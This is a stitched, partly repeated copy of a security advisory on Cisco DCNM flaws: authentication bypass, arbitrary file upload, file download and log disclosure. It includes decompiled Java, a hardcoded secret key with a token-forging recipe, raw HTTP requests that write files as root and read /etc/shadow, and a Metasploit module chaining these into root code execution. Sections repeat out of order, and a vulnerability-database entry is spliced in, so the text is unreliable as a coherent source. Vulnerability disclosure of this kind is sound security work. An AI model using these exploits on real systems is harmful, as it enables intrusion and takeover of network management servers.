successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below: private boolean verifyToken(HttpServletRequest httpServletRequest) { (...) Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } (...) } The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded". This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. An authenticated user can abuse this servlet to upload files to an arbitrary directory and ultimately achieve remote code execution [4]. The code for this servlet is listed below: com.cisco.dcbu.web.client.reports.FileUploadServlet public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } this.handleUpload(request, response); } The code shown above is simple, and the request is passed onto handleUpload: private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(CONTENT_TYPE); PrintWriter out = null; ArrayList<String> allowedFormats = new ArrayList<String>(); allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); File disk = null; FileItem item = null; DiskFileItemFactory factory = new DiskFileItemFactory(); String statusMessage = ""; String fname = ""; String uploadDir = ""; ListIterator iterator = null; List items = null; ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); TransformerHandler hd = null; try { out = response.getWriter(); StreamResult streamResult = new StreamResult(out); SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance(); items = upload.parseRequest(request); iterator = items.listIterator(); hd = tf.newTransformerHandler(); Transformer serializer = hd.getTransformer(); serializer.setOutputProperty("encoding", "UTF-8"); serializer.setOutputProperty("doctype-system", "response.dtd"); serializer.setOutputProperty("indent", "yes"); serializer.setOutputProperty("method", "xml"); hd.setResult(streamResult); hd.startDocument(); AttributesImpl atts = new AttributesImpl(); hd.startElement("", "", "response", atts); while (iterator.hasNext()) { atts.clear(); item = (FileItem)iterator.next(); if (item.isFormField()) { if (item.getFieldName().equalsIgnoreCase("fname")) { fname = item.getString(); } if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) { uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf"; } atts.addAttribute("", "", "id", "CDATA", item.getFieldName()); hd.startElement("", "", "field", atts); hd.characters(item.getString().toCharArray(), 0, item.getString().length()); hd.endElement("", "", "field"); atts.clear(); continue; } ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream()); Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream); ImageReader imageReader = null; if (imageReaders.hasNext()) { imageReader = imageReaders.next(); } try { String imageFormat = imageReader.getFormatName(); String newFileName = fname + "." + imageFormat; if (allowedFormats.contains(imageFormat.toLowerCase())) { FileFilter fileFilter = new FileFilter(); fileFilter.setImageTypes(allowedFormats); File[] fileList = new File(uploadDir).listFiles(fileFilter); for (int i = 0; i < fileList.length; ++i) { new File(fileList[i].getAbsolutePath()).delete(); } disk = new File(uploadDir + File.separator + fname); item.write(disk); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); } imageReader.dispose(); imageInputStream.close(); atts.addAttribute("", "", "id", "CDATA", newFileName); } catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); } hd.startElement("", "", "file", atts); hd.characters(statusMessage.toCharArray(), 0, statusMessage.length()); hd.endElement("", "", "file"); } hd.endElement("", "", "response"); hd.endDocument(); out.close(); } catch (Exception e) { out.println(e.getMessage()); } } handleUpload is more complex, but here's a summary; the function takes an HTTP form with a parameter "uploadDir", a parameter "fname" and then takes the last form object and writes it into "uploadDir/fname". However, there is a catch... the file has to be a valid image with one of the extensions listed here: allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); However, if you look closely, it is possible to upload any arbitrary content. This is because nothing bad happens until we reach the second (inner) try-catch block. Once inside, the first thing that happens is this: try { String imageFormat = imageReader.getFormatName(); ... which will cause imageReader to throw and exception if the binary content we sent is not a file, sending us into the catch block: catch (Exception ex) { this.processUploadedFile(item, uploadDir, fname); Calendar calendar = Calendar.getInstance(); SimpleDateFormat simpleDateFormat = new SimpleDateFormat("MM.dd.yy hh:mm:ss aaa"); statusMessage = "File successfully written to server at " + simpleDateFormat.format(calendar.getTime()); atts.addAttribute("", "", "id", "CDATA", fname); ... meaning that the file contents, upload dir and its name are sent into processUploadedFile. Let's look into that now: private void processUploadedFile(FileItem item, String uploadDir, String fname) throws Exception { try { int offset; int contentLength = (int)item.getSize(); InputStream raw = item.getInputStream(); BufferedInputStream in = new BufferedInputStream(raw); byte[] data = new byte[contentLength]; int bytesRead = 0; for (offset = 0; offset < contentLength && (bytesRead = in.read(data, offset, data.length - offset)) != -1; offset += bytesRead) { } in.close(); if (offset != contentLength) { throw new IOException("Only read " + offset + " bytes; Expected " + contentLength + " bytes"); } FileOutputStream out = new FileOutputStream(uploadDir + File.separator + fname); out.write(data); out.flush(); out.close(); } catch (Exception ex) { throw new Exception("FileUploadSevlet processUploadFile failed: " + ex.getMessage()); } } Amazingly, this function totally ignores the content, and simple writes the file contents to the filename and folder we have indicated. In summary, if we send any binary content that is not a file, we can write it to any new file in any directory as root. If we send the following request: POST /fm/fileUpload HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Content-Length: 429 Content-Type: multipart/form-data; boundary=---------------------------9313517619947 -----------------------------9313517619947 Content-Disposition: form-data; name="fname" owned -----------------------------9313517619947 Content-Disposition: form-data; name="uploadDir" /tmp/ -----------------------------9313517619947 Content-Disposition: form-data; name="filePath"; filename="whatever" Content-Type: application/octet-stream <any text or binary content here> -----------------------------9313517619947-- The server will respond with: HTTP/1.1 200 OK X-FRAME-OPTIONS: SAMEORIGIN Content-Type: text/xml;charset=utf-8 Date: Mon, 03 Sep 2018 00:57:11 GMT Connection: close Server: server <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE response SYSTEM "response.dtd"> <response> <field id="fname">owned</field> <field id="uploadDir">/tmp/</field> <file id="whatever">File successfully written to server at 09.02.18 05:57:11 PM</file> </response> And our file has been written as root on the server: [root@dcnm_vm ~]# ls -l /tmp/ (...) -rw-r--r-- 1 root root 16 Sep 2 17:57 owned (...) Finally if we write a WAR file to the JBoss deployment directory, and the server will deploy the WAR file as root, allowing the attacker to achieve remote code execution. A Metasploit module that exploits this vulnerability has been released with this advisory. The code below shows the servlet request processing code: com.cisco.dcbu.web.client.util.DownloadServlet public void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } String showFile = (String)request.getAttribute("showFile"); if (showFile == null) { showFile = request.getParameter("showFile"); } File f = new File(showFile); if (showFile.endsWith(".cert")) { response.setContentType("application/octet-stream"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=fmserver.cert;"); } else if (showFile.endsWith(".msi")) { response.setContentType("application/x-msi"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } else if (showFile.endsWith(".xls")) { response.setContentType("application/vnd.ms-excel"); response.setHeader("Pragma", "cache"); response.setHeader("Cache-Control", "cache"); response.setHeader("Content-Disposition", "attachment; filename=" + f.getName() + ";"); } ServletOutputStream os = response.getOutputStream(); FileInputStream is = new FileInputStream(f); byte[] buffer = new byte[4096]; int read = 0; try { while ((read = is.read(buffer)) > 0) { os.write(buffer, 0, read); } os.flush(); } catch (Exception e) { LogService.log(LogService._WARNING, e.getMessage()); } finally { is.close(); } } } As you can see, it's quite simple. It takes a "showFile" request parameter, reads that file and returns to the user. Here's an example of the servlet in action: Request: GET /fm/downloadServlet?showFile=/etc/shadow HTTP/1.1 Host: 10.75.1.40 Cookie: JSESSIONID=PcW4XFtcG6fkMUg7FpkZYJ5C; Response: HTTP/1.1 200 OK root:$1$(REDACTED).:17763:0:99999:7::: bin:*:15980:0:99999:7::: daemon:*:15980:0:99999:7::: adm:*:15980:0:99999:7::: lp:*:15980:0:99999:7::: (...) An interesting file to download is /usr/local/cisco/dcm/fm/conf/server.properties, which contains the database credentials as well as the sftp root password, both encrypted with a key that is hardcoded in the source code. A Metasploit module that exploits this vulnerability has been released with this advisory. This servlet can be accessed by an unauthenticated attacker, and it will return all the log files in /usr/local/cisco/dcm/fm/logs/* in ZIP format, which provide information about local directories, software versions, authentication errors, detailed stack traces, etc [6]. To access it, simply request: GET /fm/log/fmlogs.zip Code is not shown here for brevity, but the implementation class is com.cisco.dcbu.web.client.admin.LogZipperServlet. >> Fix: For #1, upgrade to DCNM 11.0(1) and above [3]. For #2 and #3, upgrade to DCNM 11.2(1) and above [4] [5]. For #4, it is not clear from Cisco's advisory on which version it was fixed [6]. >> References: [1] https://www.accenture.com/us-en/service-idefense-security-intelligence [2] https://www.cisco.com/c/en/us/products/collateral/cloud-systems-management/prime-data-center-network-manager/datasheet-c78-740978.html [3] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass [4] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex [5] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld [6] https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-infodiscl >> Disclaimer: Please note that Agile Information Security relies on the information provided by the vendor when listing fixed versions or products. Agile Information Security does not verify this information, except when specifically mentioned in this advisory or when requested or contracted by the vendor to do so. Unconfirmed vendor fixes might be ineffective or incomplete, and it is the vendor's responsibility to ensure the vulnerablities found by Agile Information Security are resolved properly. Agile Information Security Limited does not accept any responsiblity, financial or otherwise, from any material losses, loss of life or reputational loss as a result of misuse of the information or code contained or mentioned in this advisory. It is the vendor's responsibility to ensure their products' security before, during and after release to market. All information, code and binary data in this advisory is released to the public under the GNU General Public License, version 3 (GPLv3). For information, code or binary data obtained from other sources that has a license which is incompatible with GPLv3, the original license prevails. For more information check https://www.gnu.org/licenses/gpl-3.0.en.html ================ Agile Information Security Limited http://www.agileinfosec.co.uk/ >> Enabling secure digital business
VAR-201906-0567 CVE-2019-1620 Cisco Data Center Network Manager Vulnerabilities related to authorization, permissions, and access control CVSS V2: 10.0
CVSS V3: 9.8
Severity: CRITICAL
A vulnerability in the web-based management interface of Cisco Data Center Network Manager (DCNM) could allow an unauthenticated, remote attacker to upload arbitrary files on an affected device. The vulnerability is due to incorrect permission settings in affected DCNM software. An attacker could exploit this vulnerability by uploading specially crafted data to the affected device. A successful exploit could allow the attacker to write arbitrary files on the filesystem and execute code with root privileges on the affected device. This issue is being tracked by Cisco bug ID CSCvo64647. This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should work on a few versions below 10.4(2). }, 'Author' => [ 'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2019-1619' ], # auth bypass [ 'CVE', '2019-1620' ], # file upload [ 'CVE', '2019-1622' ], # log download [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ], [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/exploits/metasploit/cisco_dcnm_upload_2019.rb' ], [ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ] ], 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'Targets' => [ [ 'Automatic', {} ], [ 'Cisco DCNM 11.1(1)', {} ], [ 'Cisco DCNM 11.0(1)', {} ], [ 'Cisco DCNM 10.4(2)', {} ] ], 'Privileged' => true, 'DefaultOptions' => { 'WfsDelay' => 10 }, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 26 2019' )) register_options( [ Opt::RPORT(443), OptBool.new('SSL', [true, 'Connect with TLS', true]), OptString.new('TARGETURI', [true, "Default server path", '/']), OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']), OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']), ]) end def check # at the moment this is the best way to detect # check if pmreport and fileUpload servlets return a 500 error with no params res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'vars_get' => { 'token' => rand_text_alpha(5..20) }, 'method' => 'GET' ) if res && res.code == 500 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'GET', ) if res && res.code == 500 return CheckCode::Detected end end CheckCode::Unknown end def target_select if target != targets[0] return target else res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about','version'), 'method' => 'GET' ) if res && res.code == 200 if res.body.include?('version":"11.1(1)') print_good("#{peer} - Detected DCNM 11.1(1)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[1] elsif res.body.include?('version":"11.0(1)') print_good("#{peer} - Detected DCNM 11.0(1)") print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit") return targets[2] elsif res.body.include?('version":"10.4(2)') print_good("#{peer} - Detected DCNM 10.4(2)") print_status("#{peer} - No authentication required, ready to exploit!") return targets[3] else print_error("#{peer} - Failed to detect target version.") print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!") print_error(res.body) print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass") return targets[3] end end fail_with(Failure::NoTarget, "#{peer} - Failed to determine target") end end def auth_v11 res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET', 'vars_get' => { 'userName' => datastore['USERNAME'], 'password' => datastore['PASSWORD'] }, ) if res && res.code == 200 # get the JSESSIONID cookie if res.get_cookies res.get_cookies.split(';').each do |cok| if cok.include?("JSESSIONID") return cok end end end end end def auth_v10 # step 1: get a JSESSIONID cookie and the server Date header res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm/'), 'method' => 'GET' ) # step 2: convert the Date header and create the auth hash if res && res.headers['Date'] jsession = res.get_cookies.split(';')[0] date = Time.httpdate(res.headers['Date']) server_date = date.strftime("%s").to_i * 1000 print_good("#{peer} - Got sysTime value #{server_date.to_s}") # auth hash format: # username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF session_id = rand(1000..50000).to_s md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s + "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF" md5_str = Base64.strict_encode64(md5) # step 3: authenticate our cookie as admin # token format: sessionId.sysTime.md5_str.username res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'), 'cookie' => jsession, 'vars_get' => { 'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin" }, 'method' => 'GET' ) if res && res.code == 500 return jsession end end end # use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log def get_war_path res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'), 'method' => 'GET' ) if res && res.code == 200 tmp = Tempfile.new # we have to drop this into a file first # else we will get a Zip::GPFBit3Error if we use an InputStream File.binwrite(tmp, res.body) Zip::File.open(tmp) do |zis| zis.each do |entry| if entry.name =~ /jboss[0-9]*\.log/ fdata = zis.read(entry) if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.:]*)/] tmp.close tmp.unlink return $1.strip end end end end end end def exploit target = target_select if target == targets[2] jsession = auth_v11 elsif target == targets[3] jsession = auth_v10 end # targets[1] DCNM 11.1(1) doesn't need auth! if jsession.nil? && target != targets[1] fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie") elsif target != targets[1] print_good("#{peer} - Successfully authenticated our JSESSIONID cookie") end war_path = get_war_path if war_path.nil? or war_path.empty? fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs") else print_good("#{peer} - Obtain WAR path from logs: #{war_path}") end # Generate our payload... and upload it app_base = rand_text_alphanumeric(6..16) war_payload = payload.encoded_war({ :app_name => app_base }).to_s fname = app_base + '.war' post_data = Rex::MIME::Message.new post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"") post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"") post_data.add_part(war_payload, "application/octet-stream", 'binary', "form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"") data = post_data.to_s print_status("#{peer} - Uploading payload...") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'), 'method' => 'POST', 'data' => data, 'cookie' => jsession, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" ) if res && res.code == 200 && res.body[/#{fname}/] print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...") sleep 10 print_status("#{peer} - Executing payload...") send_request_cgi( 'uri' => normalize_uri(target_uri.path, app_base), 'method' => 'GET' ) else fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file") end end end . DCNM is widely deloyed in data centres worldwide to manage Cisco devices on a global scale. The table below lists the affected versions for each vulnerability: Vulnerability Vulnerable? CVE <= 10.4(2) 11.0(1) 11.1(1) >= 11.2(1) Authentication bypass Yes No No No 2019-1619 File upload Yes, auth Yes, auth Yes, unauth No 2019-1620 File download Yes, auth Yes, auth Yes, unauth No 2019-1621 Info disclosure Yes, unauth Yes, unauth Yes, unauth ? 2019-1622 The authentication bypass affects versions 10.4(2), allowing an attacker to exploit the file upload for remote code execution. In version 11.0(1), authentication was introduced, and a valid unprivileged account is necessary to exploit all vulnerabilities except information discloure. Amazingly, in version 11.1(1) Cisco removed the authentication for the file upload and file download servlets, allowing an attacker exploit the vulnerabilities without any authentication! All vulnerabilities were fixed in 11.2(1), except the information disclosure, for which the status is unknown. The Apache Tomcat server is running as root, meaning that the Java shell will run as root. Agile Information Security would like to thank the iDefense Vulnerability Contributor Program for handling the disclosure process with Cisco [1]. DCNM 11 provides management, control, automation, monitoring, visualization, and troubleshooting across Cisco Nexus® and Cisco Multilayer Distributed Switching (MDS) solutions. DCNM 11 supports multitenant, multifabric infrastructure management for Cisco Nexus Switches. DCNM also supports storage management with the Cisco MDS 9000 family and Cisco Nexus switch storage functions. By abusing this servlet, an unauthenticated attacker can obtain a valid administrative session on the web interface [3]. The snippet of code below shows what the servlet does: com.cisco.dcbu.web.client.performance.ReportServlet public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)request.getSession().getAttribute("credentials"); if((cred == null || !cred.isAuthenticated()) && !"fetch".equals(request.getParameter("command")) && !this.verifyToken(request)) { request.setAttribute("popUpSessionTO", "true"); } this.doInteractiveChart(request, response); } The request is passed on to the verifyToken function, listed below: private boolean verifyToken(HttpServletRequest httpServletRequest) { String token = httpServletRequest.getParameter("token"); if(token == null) { return false; } else { try { FMServerRif serverRif = SQLLoader.getServerManager(); IscRif isc = serverRif.getIsc(StringEncrypter.encryptString("DESede", (new Date()).toString())); token = URLDecoder.decode(token, "UTF-8"); token = token.replace(' ', '+'); FMUserBase fmUserBase = isc.verifySSoToken(token); if(fmUserBase == null) { return false; } else { Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } } } As it can be seen in the line: FMUserBase fmUserBase = isc.verifySSoToken(token); the HTTP request parameter "token" gets passed to IscRif.verifySsoToken, and if that function returns a valid user, the request is authenticated and credentials are stored in the session. Let's dig deeper and find out what happens in IscRif.verifySsoToken. The class implementing is actually com.cisco.dcbu.sm.server.facade.IscImpl: public FMUserBase verifySSoToken(String ssoToken) { return SecurityManager.verifySSoToken(ssoToken); } Digging further into SecurityManager.verifySSoToken: com.cisco.dcbu.sm.server.security.SecurityManager public static FMUserBase verifySSoToken(String ssoToken) { String userName = null; FMUserBase fmUserBase = null; FMUser fmUser = null; try { userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } if(fmUserBase == null) { fmUserBase = DCNMUserImpl.getFMUserBase(userName); } if(fmUserBase == null) { fmUserBase = FMSessionManager.getInstance().getFMUser(getSessionIdByToken(ssoToken)); } } } catch (Exception var5) { _Logger.info("verifySSoToken: ", var5); } return fmUserBase; } As it can be seen in the code above, the username is obtained from the token here: userName = getSSoTokenUserName(ssoToken); Digging yet another layer we find the following: public static String getSSoTokenUserName(String ssoToken) { return getSSoTokenDetails(ssoToken)[3]; } private static String[] getSSoTokenDetails(String ssoToken) { String[] ret = new String[4]; String separator = getTokenSeparator(); StringTokenizer st = new StringTokenizer(ssoToken, separator); if(st.hasMoreTokens()) { ret[0] = st.nextToken(); ret[1] = st.nextToken(); ret[2] = st.nextToken(); for(ret[3] = st.nextToken(); st.hasMoreTokens(); ret[3] = ret[3] + separator + st.nextToken()) { ; } } return ret; } Seems like the token is a string which is separated by the "separator" with four components, the fourth of which is the username. Now going back to SecurityManager.verifySSoToken listed above, we see that after the call to getSSoTokenUserName, confirmSSOToken is called: public static FMUserBase verifySSoToken(String ssoToken) { (...) userName = getSSoTokenUserName(ssoToken); if(confirmSSOToken(ssoToken)) { fmUser = UserManager.getInstance().findUser(userName); if(fmUser != null) { fmUserBase = new FMUserBase(userName, fmUser.getHashedPwd(), fmUser.getRoles()); } (...) } public static boolean confirmSSOToken(String ssoToken) { String userName = null; int sessionId = false; long sysTime = 0L; String digest = null; int count = false; boolean ret = false; try { String[] detail = getSSoTokenDetails(ssoToken); userName = detail[3]; int sessionId = Integer.parseInt(detail[0]); sysTime = (new Long(detail[1])).longValue(); if(System.currentTimeMillis() - sysTime > 600000L) { return ret; } digest = detail[2]; if(digest != null && digest.equals(getMessageDigest("MD5", userName, sessionId, sysTime))) { ret = true; userNameTLC.set(userName); } } catch (Exception var9) { _Logger.info("confirmSSoToken: ", var9); } return ret; } Now we can further understand the token. It seems it is composed of: sessionId + separator + sysTime + separator + digest + separator + username And what is the digest? Let's look into the getMessageDigest function: private static String getMessageDigest(String algorithm, String userName, int sessionid, long sysTime) throws Exception { String input = userName + sessionid + sysTime + SECRETKEY; MessageDigest md = MessageDigest.getInstance(algorithm); md.update(input.getBytes()); return new String(Base64.encodeBase64((byte[])md.digest())); } It is nothing more than the MD5 of: userName + sessionid + sysTime + SECRETKEY ... and SECRETKEY is a fixed key in the code: private static final String SECRETKEY = "POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"; ... while the separator is a ".": private static String getTokenSeparator() { return System.getProperty("security.tokenSeparator", "."); } In summary, this is what happens: The ReportServlet will happily authenticate any request, as long as it receives a token in the following format: sessionId.sysTime.MD5(userName + sessionid + sysTime + SECRETKEY).username The sessionId can be made up by the user, sysTime can be obtained by getting the server Date HTTP header and then converting to milliseconds, and we know the SECRETKEY and the username, so now we can authenticate as any user. Here's an example token: GET /fm/pmreport?token=1337.1535935659000.upjVgZQmxNNgaXo5Ga6jvQ==.admin This request will return a 500 error due to the lack of some parameters necessary for the servlet to execute correctly, however it will also successfully authenticate us to the server, which will cause it to return a JSESSIONID cookie with valid authenticated session for the admin user. Note that the user has to be valid. The "admin" user is a safe bet as it is present by default in all systems, and it is also the most privileged user in the system. Unfortunately, this technique does not work for 11.0(1). I believe this is not because the vulnerability was fixed, as the exact same code is present in the newer version. In 11.0(1), the ReportServlet.verifyToken function crashes with an exception in the line noted below: private boolean verifyToken(HttpServletRequest httpServletRequest) { (...) Credentials newCred = new Credentials(); int idx = fmUserBase.getUsername().indexOf(64); newCred.setUserName(idx == -1?fmUserBase.getUsername():fmUserBase.getUsername().substring(0, idx)); newCred.setPassword(StringEncrypter.DESedeDecrypt(fmUserBase.getEncryptedPassword())); <--- exception occurs here newCred.setRole(fmUserBase.getRole()); newCred.setAuthenticated(true); httpServletRequest.getSession().setAttribute("credentials", newCred); return true; } } catch (Exception var8) { var8.printStackTrace(); return false; } (...) } The exception returned is a "com.cisco.dcbu.lib.util.StringEncrypter$EncryptionException: javax.crypto.BadPaddingException: Given final block not properly padded". This will cause execution to go into the catch block shown above, and the function will return false, so the JSESSIONID cookie returned by the server will not have the credentials stored in it. I believe this is purely a coding mistake - Cisco updated their password encryption method, but failed to update their own code. Unless this ReportServlet code is deprecated, this is a real bug that happens to fix a security vulnerability by accident. On version 11.0(1), it seems that the ReportServlet has been removed from the corresponding WAR xml mapping file, so requesting that URL now returns an HTTP 404 error. The code for this servlet is listed below: com.cisco.dcbu.web.client.reports.FileUploadServlet public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { this.doGet(request, response); } public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { Credentials cred = (Credentials)((Object)request.getSession().getAttribute("credentials")); if (cred == null || !cred.isAuthenticated()) { throw new ServletException("User not logged in or Session timed out."); } this.handleUpload(request, response); } The code shown above is simple, and the request is passed onto handleUpload: private void handleUpload(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType(CONTENT_TYPE); PrintWriter out = null; ArrayList<String> allowedFormats = new ArrayList<String>(); allowedFormats.add("jpeg"); allowedFormats.add("png"); allowedFormats.add("gif"); allowedFormats.add("jpg"); allowedFormats.add("cert"); File disk = null; FileItem item = null; DiskFileItemFactory factory = new DiskFileItemFactory(); String statusMessage = ""; String fname = ""; String uploadDir = ""; ListIterator iterator = null; List items = null; ServletFileUpload upload = new ServletFileUpload((FileItemFactory)factory); TransformerHandler hd = null; try { out = response.getWriter(); StreamResult streamResult = new StreamResult(out); SAXTransformerFactory tf = (SAXTransformerFactory)SAXTransformerFactory.newInstance(); items = upload.parseRequest(request); iterator = items.listIterator(); hd = tf.newTransformerHandler(); Transformer serializer = hd.getTransformer(); serializer.setOutputProperty("encoding", "UTF-8"); serializer.setOutputProperty("doctype-system", "response.dtd"); serializer.setOutputProperty("indent", "yes"); serializer.setOutputProperty("method", "xml"); hd.setResult(streamResult); hd.startDocument(); AttributesImpl atts = new AttributesImpl(); hd.startElement("", "", "response", atts); while (iterator.hasNext()) { atts.clear(); item = (FileItem)iterator.next(); if (item.isFormField()) { if (item.getFieldName().equalsIgnoreCase("fname")) { fname = item.getString(); } if (item.getFieldName().equalsIgnoreCase("uploadDir") && (uploadDir = item.getString()).equals(DEFAULT_TRUST_STORE_UPLOADDIR)) { uploadDir = ClientCache.getJBossHome() + File.separator + "server" + File.separator + "fm" + File.separator + "conf"; } atts.addAttribute("", "", "id", "CDATA", item.getFieldName()); hd.startElement("", "", "field", atts); hd.characters(item.getString().toCharArray(), 0, item.getString().length()); hd.endElement("", "", "field"); atts.clear(); continue; } ImageInputStream imageInputStream = ImageIO.createImageInputStream(item.getInputStream()); Iterator<ImageReader> imageReaders = ImageIO.getImageReaders(imageInputStream); ImageReader imageReader = null; if (imageReaders.hasNext()) { imageReader = imageReaders.next(); } try { String imageFormat = imageReader.getFormatName(); String newFileName = fname + "." + imageFormat; if (allowedFormats.contains(imageFormat.toLowerCase())) { 